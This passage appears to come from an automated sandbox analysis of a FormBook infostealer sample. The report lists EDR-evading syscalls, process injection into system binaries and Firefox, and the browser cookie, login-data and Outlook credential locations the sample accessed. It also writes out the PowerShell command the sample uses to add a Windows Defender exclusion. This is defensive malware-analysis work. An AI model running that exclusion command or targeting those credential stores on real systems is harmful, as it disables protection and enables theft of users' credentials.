            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0AD0 mov eax, dword ptr fs:[00000030h]4_2_014D0AD0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01526ACC mov eax, dword ptr fs:[00000030h]4_2_01526ACC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01526ACC mov eax, dword ptr fs:[00000030h]4_2_01526ACC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01526ACC mov eax, dword ptr fs:[00000030h]4_2_01526ACC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150AAEE mov eax, dword ptr fs:[00000030h]4_2_0150AAEE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150AAEE mov eax, dword ptr fs:[00000030h]4_2_0150AAEE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01508A90 mov edx, dword ptr fs:[00000030h]4_2_01508A90
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DEA80 mov eax, dword ptr fs:[00000030h]4_2_014DEA80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DEA80 mov eax, dword ptr fs:[00000030h]4_2_014DEA80
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Adds a directory exclusion to Windows Defender
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"Jump to behavior
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtWriteVirtualMemory: Direct from: 0x77762E3CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtMapViewOfSection: Direct from: 0x77762D1CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtNotifyChangeKey: Direct from: 0x77763C2CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtCreateMutant: Direct from: 0x777635CCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtResumeThread: Direct from: 0x777636ACJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtProtectVirtualMemory: Direct from: 0x77757B2EJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQuerySystemInformation: Direct from: 0x77762DFCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtAllocateVirtualMemory: Direct from: 0x77762BFCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtReadFile: Direct from: 0x77762ADCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtDelayExecution: Direct from: 0x77762DDCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtWriteVirtualMemory: Direct from: 0x7776490CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQueryInformationProcess: Direct from: 0x77762C26Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtResumeThread: Direct from: 0x77762FBCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtCreateUserProcess: Direct from: 0x7776371CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtSetInformationThread: Direct from: 0x777563F9Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtAllocateVirtualMemory: Direct from: 0x77763C9CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtSetInformationThread: Direct from: 0x77762B4CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQueryAttributesFile: Direct from: 0x77762E6CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtReadVirtualMemory: Direct from: 0x77762E8CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtCreateKey: Direct from: 0x77762C6CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQuerySystemInformation: Direct from: 0x777648CCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtAllocateVirtualMemory: Direct from: 0x777648ECJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtOpenSection: Direct from: 0x77762E0CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtDeviceIoControlFile: Direct from: 0x77762AECJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtAllocateVirtualMemory: Direct from: 0x77762BECJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtQueryInformationToken: Direct from: 0x77762CACJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtTerminateThread: Direct from: 0x77762FCCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtCreateFile: Direct from: 0x77762FECJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtOpenFile: Direct from: 0x77762DCCJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtOpenKeyEx: Direct from: 0x77762B9CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtSetInformationProcess: Direct from: 0x77762C5CJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeNtProtectVirtualMemory: Direct from: 0x77762F9CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeSection loaded: NULL target: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\iexpress.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: NULL target: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: NULL target: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\iexpress.exeThread register set: target process: 7644Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\iexpress.exeThread APC queued: target process: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"Jump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeProcess created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: hbfEEdNoiUG.exe, 0000000F.00000000.1347756306.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3711253821.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3711589502.00000000016B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: hbfEEdNoiUG.exe, 0000000F.00000000.1347756306.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3711253821.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3711589502.00000000016B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: hbfEEdNoiUG.exe, 0000000F.00000000.1347756306.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3711253821.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3711589502.00000000016B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
            Source: hbfEEdNoiUG.exe, 0000000F.00000000.1347756306.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3711253821.0000000001010000.00000002.00000001.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3711589502.00000000016B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeQueries volume information: C:\Users\user\Desktop\inquiry EBS# 82785.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\iexpress.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
            Command and Scripting Interpreter            		1
            DLL Side-Loading            		312
            Process Injection            		1
            Masquerading            		1
            OS Credential Dumping            		21
            Security Software Discovery            		Remote Services1
            Email Collection            		1
            Encrypted Channel            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
            Abuse Elevation Control Mechanism            		11
            Disable or Modify Tools            		LSASS Memory2
            Process Discovery            		Remote Desktop Protocol1
            Archive Collected Data            		3
            Ingress Tool Transfer            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		41
            Virtualization/Sandbox Evasion            		Security Account Manager41
            Virtualization/Sandbox Evasion            		SMB/Windows Admin Shares1
            Data from Local System            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook312
            Process Injection            		NTDS1
            Application Window Discovery            		Distributed Component Object ModelInput Capture4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information            		LSA Secrets2
            File and Directory Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Abuse Elevation Control Mechanism            		Cached Domain Credentials13
            System Information Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items4
            Obfuscated Files or Information            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job12
            Software Packing            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
            DLL Side-Loading            		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
